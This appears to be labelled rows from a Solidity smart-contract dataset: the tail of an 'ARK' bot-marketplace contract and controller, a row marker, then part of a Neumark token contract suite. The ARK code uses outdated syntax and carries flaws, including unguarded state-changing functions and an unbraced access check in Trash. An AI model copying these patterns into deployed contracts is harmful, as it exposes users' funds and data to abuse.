mapping (uint => Coin) coins;
mapping (uint => Coin) trash;
ARKController_1_00 control;
struct log{
address admin;
string action;
address addr;
}
struct MarketBill {
uint sellerdata;
uint buyerdata;
uint product;
uint index;
uint cost;
uint block;
}
struct Coin {
address coinOwner;
string data;
string mine;
uint coinType;
uint platf;
string adv;
uint block;
}
struct Bot {
address owner;
string info;
uint cost;
uint nbills;
mapping (uint => uint) bills;
mapping (uint => uint) sales;
}
mapping (uint => uint) hadv;
mapping (address => bool) miner;
uint totBOTS;
uint selling;
uint nMbills;
uint total;
uint claimed;
uint bounty;
struct Stats{
uint sold;
uint currentSeller;
}
function ARK() {owner=msg.sender;}
function initStats(string str,address ad,uint a){
if(msg.sender==owner){
if(companies.length==0){
coinIndex=0;
totBOTS=10000;
selling=1;
claimed=0;
nMbills=1;
total=0;
bounty=2500;
mute=false;
for(uint z=0;z<20;z++){
cycle[z]=Stats({sold:0,currentSeller:1});
if(z<7){lastPrice.push(a);}
listed[z]=0;
}
companyIndex[msg.sender]=1;
}
if(companies.length<2){
companies.push(str);
companyWallet.push(ad);
}else{if(ad==owner)companies[0]=str;}
if(a==333){owner=ad;logs.push(log(owner,"setOwner",ad));}
}
}
function createCoin(string dat,uint typ,uint pltf,string min,string buyerBill,address own) returns(bool){
coinIndex++;
coins[coinIndex]= Coin({coinOwner : own,data : dat,mine : min,coinType : typ,platf: pltf,adv : "",block : block.number});
listed[typ]++;
listed[pltf]++;
administration(2,buyerBill,coinIndex,lastPrice[2],msg.sender);
control.pushCoin(coinIndex,own,dat);
return true;
}
function updt(uint i,string data,uint typ,uint pltf,string min,string buyerBill,address own) returns(bool){
if(coins[i].coinOwner!=msg.sender)throw;
coins[i].data=data;
coins[i].coinType=typ;
coins[i].platf=pltf;
coins[i].mine=min;
coins[i].coinOwner=own;
administration(3,buyerBill,i,lastPrice[3],msg.sender);
return true;
}
function setAdv(uint i,string data,string buyerBill) returns(bool){
coins[i].adv=data;
administration(4,buyerBill,i,lastPrice[4],msg.sender);
return true;
}
function setHomeAdv(uint i,string buyerBill) returns(bool){
hadv[cycle[5].sold]=i;
administration(5,buyerBill,i,lastPrice[5],msg.sender);
return true;
}
function administration(uint tipo,string buyerBill,uint index,uint c,address own) private{
if(!(companyIndex[own]>0))registerCompany(own,buyerBill);
uint u=cycle[tipo].currentSeller;
if(!ban[own]){balances[bots[u].owner]+=c;}else{balances[owner]+=c;}
balances[own]+=msg.value-c;
registerBill(u,bots[u].owner,own,tipo,index,c);
}
function setBounty(address a,string data,uint amount){
if((msg.sender==owner)&&(bounty>amount)){
registerCompany(a,data);
for(uint j=0;j<amount;j++){
bots[selling] = Bot(a,"",0,0);
botOwners[a].push(selling);
totBOTS++;
selling++;
bounty--;
}
}
}
function botOnSale(uint i,uint c) {if((msg.sender!=bots[i].owner)||(selling<=totBOTS)||(!TOS[msg.sender]))throw;bots[i].cost=c;}
function buyBOTx(uint i,string buyerbill,string buyerInfo,address buyerwallet,uint amount) returns (bool){
if((amount<1)||(amount>20)||(i>15000)||((amount>1)&&((selling+amount+999>totBOTS)||(selling<400))))throw;
address sellsNow;
address holder;
uint sell;
uint currentSeller;
uint c;
if(!(companyIndex[buyerwallet]>0))registerCompany(buyerwallet,buyerbill);
if((miner[msg.sender])&&(claimed<2500)){
currentSeller=cycle[0].currentSeller;
sellsNow=bots[currentSeller].owner;
c=lastPrice[0];
claimed++;
totBOTS++;
miner[msg.sender]=false;
holder=owner;
sell=selling;
if(!ban[bots[currentSeller].owner]){balances[bots[currentSeller].owner]+=c;}else{balances[owner]+=c;}
selling++;
bots[sell] = Bot(buyerwallet,buyerInfo,0,0);
}else{
if(selling>totBOTS){
if(bots[i].cost==0)throw;
currentSeller=cycle[0].currentSeller;
sellsNow=bots[currentSeller].owner;
holder=bots[i].owner;
sell=i;
c=bots[i].cost+lastPrice[0];
move(i,buyerwallet);
if(!ban[sellsNow]){balances[sellsNow]+=lastPrice[0];}else{balances[owner]+=lastPrice[0];}
registerBill(i,holder,sellsNow,6,sell,c-lastPrice[0]);
lastPrice[lastPrice.length++]=c-lastPrice[0];
}else{
c=lastPrice[6]*amount;
balances[owner]+=msg.value;
currentSeller=selling;
if(amount>1){sell=amount+100000;}else{sell=selling;}
sellsNow=owner;
for(uint j=0;j<amount;j++){
bots[selling+j] = Bot(buyerwallet,buyerInfo,0,0);
botOwners[buyerwallet].push(selling+j);
}
selling+=amount;
}
}
if(sellsNow!=owner)botOwners[buyerwallet].push(sell);
registerBill(currentSeller,sellsNow,buyerwallet,0,sell,c);
return true;
}
function move(uint index,address wallet) private returns (uint[]){
uint[] l=botOwners[bots[index].owner];
uint ll=l.length;
for(uint j=0;j<ll;j++){
if(l[j]==index){
if(j<ll-1)l[j]=l[ll-1];
delete l[ll-1];j=ll;
}
}
botOwners[bots[index].owner]=l;
botOwners[bots[index].owner].length--;
bots[index].owner=wallet;
bots[index].cost=0;
}
function updateBOTBillingInfo(uint index,string data,address wallet,string info,string buyerbill,uint updatetype) returns(bool){
if((index>totBOTS)||(msg.sender!=bots[index].owner))throw;
uint t=1;
address cs=bots[cycle[1].currentSeller].owner;
if(bots[index].owner!=wallet){
if(!(companyIndex[wallet]>0))registerCompany(wallet,data);
botOwners[wallet].push(index);
move(index,wallet);
}else{
if(updatetype!=1){
t=companyIndex[msg.sender]+100;
registerCompany(msg.sender,data);
totCompanies--;
}
}
if(updatetype!=2)bots[index].info=info;
if(!ban[cs]){balances[cs]+=lastPrice[1];}else{balances[owner]+=lastPrice[1];}
registerBill(cycle[1].currentSeller,cs,msg.sender,t,index,lastPrice[1]);
return true;
}
function registerExternalBill(uint bi,address sellsNow,address buyerwallet,uint tipo,uint sell,uint c){
if(msg.sender!=controller)throw;
registerBill(bi,sellsNow,buyerwallet,tipo,sell,c);
}
function registerBill(uint bi,address sellsNow,address buyerwallet,uint tipo,uint sell,uint c) private{
if((msg.value<c)||(mute)||(!TOS[buyerwallet]))throw;
Bot b=bots[bi];
uint sellerIndex;uint buyerIndex;
if(tipo>100){sellerIndex=tipo-100;buyerIndex=sellerIndex;tipo=1;}else{sellerIndex=companyIndex[sellsNow];buyerIndex=companyIndex[buyerwallet];}
MarketBills[nMbills]=MarketBill(sellerIndex,buyerIndex,tipo,sell,c,block.number);
b.bills[b.nbills+1]=nMbills;
b.nbills++;
b.sales[tipo]++;
BuyersBills[buyerwallet][BuyersBills[buyerwallet].length++]=nMbills;
SellersBills[sellsNow][SellersBills[sellsNow].length++]=nMbills;
nMbills++;
if(sellsNow!=owner){
total+=c;
if(tipo!=6){
cycle[tipo].sold++;
cycle[tipo].currentSeller++;
if((cycle[tipo].currentSeller>totBOTS)||(cycle[tipo].currentSeller>=selling))cycle[tipo].currentSeller=1;}
}
if(claimed<=2500)miner[block.coinbase]=true;
}
function registerCompany(address wal,string data) private{
companyWallet[companyWallet.length++]=wal;
companyIndex[wal]=companies.length;
companies[companies.length++]=data;
totCompanies++;
}
function muteMe(bool m){
if((msg.sender==owner)||(msg.sender==controller))mute=m;
}
function setController(address a) returns(bool){if(msg.sender!=owner)throw;controller=a;control=ARKController_1_00(a);logs.push(log(owner,"setCensorer",a));
return true;
}
function censorship(uint i,bool b,bool c) returns(bool){
if(msg.sender!=controller)throw;
if(c){coins[i]=Coin({coinOwner : 0x0,data : "Censored",mine : "",coinType : 0,platf: 0,adv : "",block : 0});}else{
if(b){
trash[i]=coins[i];
coins[i]=Coin({coinOwner : 0x0,data : "Censored",mine : "",coinType : 0,platf: 0,adv : "",block : 0});
}else{
coins[i]=trash[i];
}}
return true;
}
function setPrice(uint i,uint j) returns(bool){if(msg.sender!=controller)throw;lastPrice[i]=j; return true;}
function acceptTOS(address a,bool b) returns(bool){
if(b)if(!ban[msg.sender]){TOS[msg.sender]=true;ban[msg.sender]=false;}
if(msg.sender==controller){TOS[a]=b;ban[a]=!b;logs.push(log(controller,"setTOS",a));}
return true;
}
function totBOTs() constant returns(uint,uint,uint,uint,uint) {return (totBOTS,claimed,selling,companies.length,totCompanies); }
function getBotBillingIndex(uint i,uint bi) constant returns (uint){
return bots[i].bills[bi];
}
function getBill(uint i,uint bi)constant returns(uint,uint,uint,uint,uint,uint){
MarketBill b=MarketBills[i];
return (b.sellerdata,b.buyerdata,b.product,b.index,b.cost,b.block);
}
function getNextSellerBOTdata(uint cyc) constant returns (uint,uint,string){return (cycle[cyc].currentSeller,cycle[cyc].sold,companies[companyIndex[bots[cycle[cyc].currentSeller].owner]]);}
function getBot(uint i) constant returns (address,string,uint,uint){
Bot B=bots[i];
return (B.owner,B.info,B.cost,B.nbills);
}
function getOwnedBot(address own,uint bindex) constant returns(uint){return botOwners[own][bindex];}
function getBotStats(uint i,uint j) constant returns (uint){
Bot B=bots[i];
return B.sales[j];}
function getFullCompany(address w,uint i) constant returns (string,uint,bool,uint,uint,string,address){return (companies[companyIndex[w]],botOwners[w].length,miner[w],balances[w],this.balance,companies[i],companyWallet[i]);}
function getActorBillXdetail(address w,uint i,bool who) constant returns (uint,uint){if(who){return (SellersBills[w][i],SellersBills[w].length);}else{return (BuyersBills[w][i],BuyersBills[w].length);}}
function getHomeadvIndex(uint ind) constant returns (uint){return hadv[ind];}
function getLastPrice(uint i) constant returns (uint,uint,uint,uint,uint){return (lastPrice[i],lastPrice[lastPrice.length-1],selling,nMbills,total);}
function readLog(uint i)constant returns(address,string,address){log l=logs[i];return(l.admin,l.action,l.addr);}
function getTOS(address a)constant returns(bool) {return TOS[a];}
function owns(address a) constant returns (bool){return botOwners[a].length>0;}
function getCoin(uint n) constant returns (address,string,uint,uint,string,string) {
Coin c = coins[n];
return (c.coinOwner,c.data,c.coinType,c.platf,c.mine,c.adv);
}
function Trash(uint n) constant returns (address,string,uint,uint,string,string) {
if((msg.sender==controller)||(getOwnedBot(msg.sender,0)>0))
Coin c = trash[n];
return (c.coinOwner,c.data,c.coinType,c.platf,c.mine,c.adv);
}
function getCoinStats(uint i) constant returns (uint,uint){
return (listed[i],coinIndex);
}
function withdraw(){
if(!TOS[msg.sender])throw;
uint t=balances[msg.sender];
balances[msg.sender]=0;
if(!(msg.sender.send(t)))throw;
}
function (){throw;}
}
contract ARKController_1_00 {
ARK Ark;
event CoinSent(uint indexed id,address from,string name);
address owner;
address Source;
mapping(address => bool)administrator;
mapping(address => bool)module;
mapping(address => string)adminName;
mapping(uint => bool)restore;
log[] logs;
struct log{
address admin;
string what;
uint id;
address a;
}
function ARKController_1_00() {
owner=msg.sender;
}
function setOwner(address a,string name) {
if(msg.sender==owner)owner=a;
}
function ban(address a) returns(bool){
return false;
}
function setAdministrator(address a,string name,bool yesno) {
if(isModule(msg.sender)){
administrator[a]=yesno;
adminName[a]=name;
if(msg.sender==owner)logs.push(log(msg.sender,"setAdmin",0,a));
if(msg.sender!=owner)logs.push(log(msg.sender,"moduleSetAdmin",0,a));
}
}
function setModule(address a,bool yesno) {
if(!isModule(msg.sender))throw;
module[a]=yesno;
logs.push(log(owner,"setModule",0,a));
}
function setPrice(uint i,uint j){
if((!isModule(msg.sender))||(i>6))throw;
Ark.setPrice(i,j);
logs.push(log(msg.sender,"setPrice",i,msg.sender));
}
function setTOS(address a,bool b){
if(!isModule(msg.sender))throw;
Ark.acceptTOS(a,b);
}
function setSource(address a) {
if(msg.sender!=owner)throw;
Ark=ARK(a);
Source=a;
logs.push(log(msg.sender,"setSource",0,a));
}
function setARKowner(address a) {
if(msg.sender!=owner)throw;
Ark.initStats("",a,333);
logs.push(log(msg.sender,"setARKowner",0,0x0));
}
function restoreItem(uint i){
if(isAdmin(msg.sender)||isModule(msg.sender)){
Ark.censorship(i,false,false);
logs.push(log(msg.sender,"restore",i,0x0));
}
}
function applyCensorship(uint i){
if(!isAdmin(msg.sender))throw;
Ark.censorship(i,true,false);
logs.push(log(msg.sender,"censor",i,0x0));
}
function deleteCoin(uint i){
if(!isModule(msg.sender))throw;
Ark.censorship(i,true,true);
logs.push(log(msg.sender,"censor",i,0x0));
}
function registerExternalBill(uint bi,address sellsNow,address buyerwallet,uint tipo,uint sell,uint c) private{
if(!isModule(msg.sender))throw;
Ark.registerExternalBill(bi,sellsNow,buyerwallet,tipo,sell,c);
}
function pushCoin(uint i,address a,string s) returns(bool){
if(msg.sender!=Source)throw;
CoinSent(i,a,s);
return true;
}
function isAdmin(address a)constant returns(bool){
bool b=false;
if((a==owner)||(administrator[a]))b=true;
return b;
}
function isModule(address a)constant returns(bool){
bool b=false;
if((a==owner)||(module[a]))b=true;
return b;
}
function getAdminName(address a)constant returns(string){
return adminName[a];
}
function getSource()constant returns(address){
return Source;
}
function readLog(uint i)constant returns(string,address,string,uint,address){
log l=logs[i];
return(getAdminName(l.admin),l.admin,l.what,l.id,l.a);
}
} | 1 | 3,605 |
pragma solidity 0.4.25;
contract IAccessPolicy {
function allowed(
address subject,
bytes32 role,
address object,
bytes4 verb
)
public
returns (bool);
}
contract IAccessControlled {
event LogAccessPolicyChanged(
address controller,
IAccessPolicy oldPolicy,
IAccessPolicy newPolicy
);
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public;
function accessPolicy()
public
constant
returns (IAccessPolicy);
}
contract StandardRoles {
bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da;
}
contract AccessControlled is IAccessControlled, StandardRoles {
IAccessPolicy private _accessPolicy;
modifier only(bytes32 role) {
require(_accessPolicy.allowed(msg.sender, role, this, msg.sig));
_;
}
constructor(IAccessPolicy policy) internal {
require(address(policy) != 0x0);
_accessPolicy = policy;
}
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public
only(ROLE_ACCESS_CONTROLLER)
{
require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));
IAccessPolicy oldPolicy = _accessPolicy;
_accessPolicy = newPolicy;
emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);
}
function accessPolicy()
public
constant
returns (IAccessPolicy)
{
return _accessPolicy;
}
}
contract AccessRoles {
bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c;
bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f;
bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174;
bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19;
bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5;
bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0;
bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7;
bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e;
bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b;
bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738;
bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969;
bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585;
}
contract IContractId {
function contractId() public pure returns (bytes32 id, uint256 version);
}
contract IEthereumForkArbiter {
event LogForkAnnounced(
string name,
string url,
uint256 blockNumber
);
event LogForkSigned(
uint256 blockNumber,
bytes32 blockHash
);
function nextForkName()
public
constant
returns (string);
function nextForkUrl()
public
constant
returns (string);
function nextForkBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockHash()
public
constant
returns (bytes32);
function lastSignedTimestamp()
public
constant
returns (uint256);
}
contract IAgreement {
event LogAgreementAccepted(
address indexed accepter
);
event LogAgreementAmended(
address contractLegalRepresentative,
string agreementUri
);
function amendAgreement(string agreementUri) public;
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo);
function amendmentsCount()
public
constant
returns (uint256);
}
contract Agreement is
IAgreement,
AccessControlled,
AccessRoles
{
struct SignedAgreement {
address contractLegalRepresentative;
uint256 signedBlockTimestamp;
string agreementUri;
}
IEthereumForkArbiter private ETHEREUM_FORK_ARBITER;
SignedAgreement[] private _amendments;
mapping(address => uint256) private _signatories;
modifier acceptAgreement(address accepter) {
acceptAgreementInternal(accepter);
_;
}
modifier onlyLegalRepresentative(address legalRepresentative) {
require(mCanAmend(legalRepresentative));
_;
}
constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter)
AccessControlled(accessPolicy)
internal
{
require(forkArbiter != IEthereumForkArbiter(0x0));
ETHEREUM_FORK_ARBITER = forkArbiter;
}
function amendAgreement(string agreementUri)
public
onlyLegalRepresentative(msg.sender)
{
SignedAgreement memory amendment = SignedAgreement({
contractLegalRepresentative: msg.sender,
signedBlockTimestamp: block.timestamp,
agreementUri: agreementUri
});
_amendments.push(amendment);
emit LogAgreementAmended(msg.sender, agreementUri);
}
function ethereumForkArbiter()
public
constant
returns (IEthereumForkArbiter)
{
return ETHEREUM_FORK_ARBITER;
}
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
require(_amendments.length > 0);
uint256 last = _amendments.length - 1;
SignedAgreement storage amendment = _amendments[last];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
last
);
}
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
SignedAgreement storage amendment = _amendments[amendmentIndex];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
amendmentIndex
);
}
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo)
{
return _signatories[signatory];
}
function amendmentsCount()
public
constant
returns (uint256)
{
return _amendments.length;
}
function acceptAgreementInternal(address accepter)
internal
{
if(_signatories[accepter] == 0) {
require(_amendments.length > 0);
_signatories[accepter] = block.number;
emit LogAgreementAccepted(accepter);
}
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig);
}
}
contract IdentityRecord {
struct IdentityClaims {
bool isVerified;
bool isSophisticatedInvestor;
bool hasBankAccount;
bool accountFrozen;
}
function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) {
assembly {
mstore(claims, and(data, 0x1))
mstore(add(claims, 0x20), div(and(data, 0x2), 0x2))
mstore(add(claims, 0x40), div(and(data, 0x4), 0x4))
mstore(add(claims, 0x60), div(and(data, 0x8), 0x8))
}
}
}
contract IIdentityRegistry {
event LogSetClaims(
address indexed identity,
bytes32 oldClaims,
bytes32 newClaims
);
function getClaims(address identity) public constant returns (bytes32);
function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public;
}
contract KnownInterfaces {
bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd;
bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1;
bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b;
bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e;
bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0;
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521;
bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de;
bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9;
bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e;
bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006;
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9;
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72;
bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef;
bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c;
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8;
bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454;
bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1;
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb;
}
contract IsContract {
function isContract(address addr)
internal
constant
returns (bool)
{
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract NeumarkIssuanceCurve {
uint256 private constant NEUMARK_CAP = 1500000000000000000000000000;
uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000;
uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000;
uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000;
uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871;
uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS;
uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS;
function incremental(uint256 totalEuroUlps, uint256 euroUlps)
public
pure
returns (uint256 neumarkUlps)
{
require(totalEuroUlps + euroUlps >= totalEuroUlps);
uint256 from = cumulative(totalEuroUlps);
uint256 to = cumulative(totalEuroUlps + euroUlps);
assert(to >= from);
return to - from;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps);
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
function cumulative(uint256 euroUlps)
public
pure
returns(uint256 neumarkUlps)
{
if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) {
return NEUMARK_CAP;
}
if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) {
return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS;
}
uint256 d = 230769230769230769230769231;
uint256 term = NEUMARK_CAP;
uint256 sum = 0;
uint256 denom = d;
do assembly {
term := div(mul(term, euroUlps), denom)
sum := add(sum, term)
denom := add(denom, d)
term := div(mul(term, euroUlps), denom)
sum := sub(sum, term)
denom := add(denom, d)
} while (term != 0);
return sum;
}
function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
require(maxEurUlps >= minEurUlps);
require(cumulative(minEurUlps) <= neumarkUlps);
require(cumulative(maxEurUlps) >= neumarkUlps);
uint256 min = minEurUlps;
uint256 max = maxEurUlps;
while (max > min) {
uint256 mid = (max + min) / 2;
uint256 val = cumulative(mid);
if (val < neumarkUlps) {
min = mid + 1;
} else {
max = mid;
}
}
return max;
}
function neumarkCap()
public
pure
returns (uint256)
{
return NEUMARK_CAP;
}
function initialRewardFraction()
public
pure
returns (uint256)
{
return INITIAL_REWARD_FRACTION;
}
}
contract IBasicToken {
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply()
public
constant
returns (uint256);
function balanceOf(address owner)
public
constant
returns (uint256 balance);
function transfer(address to, uint256 amount)
public
returns (bool success);
}
contract Reclaimable is AccessControlled, AccessRoles {
IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0);
function reclaim(IBasicToken token)
public
only(ROLE_RECLAIMER)
{
address reclaimer = msg.sender;
if(token == RECLAIM_ETHER) {
reclaimer.transfer(address(this).balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
contract ISnapshotable {
event LogSnapshotCreated(uint256 snapshotId);
function createSnapshot()
public
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract MSnapshotPolicy {
function mAdvanceSnapshotId()
internal
returns (uint256);
function mCurrentSnapshotId()
internal
constant
returns (uint256);
}
contract Daily is MSnapshotPolicy {
uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391;
constructor(uint256 start) internal {
if (start > 0) {
uint256 base = dayBase(uint128(block.timestamp));
require(start >= base);
require(start < base + 2**128);
}
}
function snapshotAt(uint256 timestamp)
public
constant
returns (uint256)
{
require(timestamp < MAX_TIMESTAMP);
return dayBase(uint128(timestamp));
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
return mCurrentSnapshotId();
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
return dayBase(uint128(block.timestamp));
}
function dayBase(uint128 timestamp)
internal
pure
returns (uint256)
{
return 2**128 * (uint256(timestamp) / 1 days);
}
}
contract DailyAndSnapshotable is
Daily,
ISnapshotable
{
uint256 private _currentSnapshotId;
constructor(uint256 start)
internal
Daily(start)
{
if (start > 0) {
_currentSnapshotId = start;
}
}
function createSnapshot()
public
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
} else {
_currentSnapshotId += 1;
}
emit LogSnapshotCreated(_currentSnapshotId);
return _currentSnapshotId;
}
function mAdvanceSnapshotId()
internal
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
emit LogSnapshotCreated(base);
}
return _currentSnapshotId;
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
return base > _currentSnapshotId ? base : _currentSnapshotId;
}
}
contract ITokenMetadata {
function symbol()
public
constant
returns (string);
function name()
public
constant
returns (string);
function decimals()
public
constant
returns (uint8);
}
contract TokenMetadata is ITokenMetadata {
string private NAME;
string private SYMBOL;
uint8 private DECIMALS;
string private VERSION;
constructor(
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string version
)
public
{
NAME = tokenName;
SYMBOL = tokenSymbol;
DECIMALS = decimalUnits;
VERSION = version;
}
function name()
public
constant
returns (string)
{
return NAME;
}
function symbol()
public
constant
returns (string)
{
return SYMBOL;
}
function decimals()
public
constant
returns (uint8)
{
return DECIMALS;
}
function version()
public
constant
returns (string)
{
return VERSION;
}
}
contract IERC20Allowance {
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining);
function approve(address spender, uint256 amount)
public
returns (bool success);
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Token is IBasicToken, IERC20Allowance {
}
contract MTokenAllowanceController {
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
returns (bool allow);
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256 allowance);
}
contract MTokenTransferController {
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
returns (bool allow);
}
contract MTokenController is MTokenTransferController, MTokenAllowanceController {
}
contract MTokenTransfer {
function mTransfer(
address from,
address to,
uint256 amount
)
internal;
}
contract IERC677Callback {
function receiveApproval(
address from,
uint256 amount,
address token,
bytes data
)
public
returns (bool success);
}
contract IERC677Allowance is IERC20Allowance {
function approveAndCall(address spender, uint256 amount, bytes extraData)
public
returns (bool success);
}
contract IERC677Token is IERC20Token, IERC677Allowance {
}
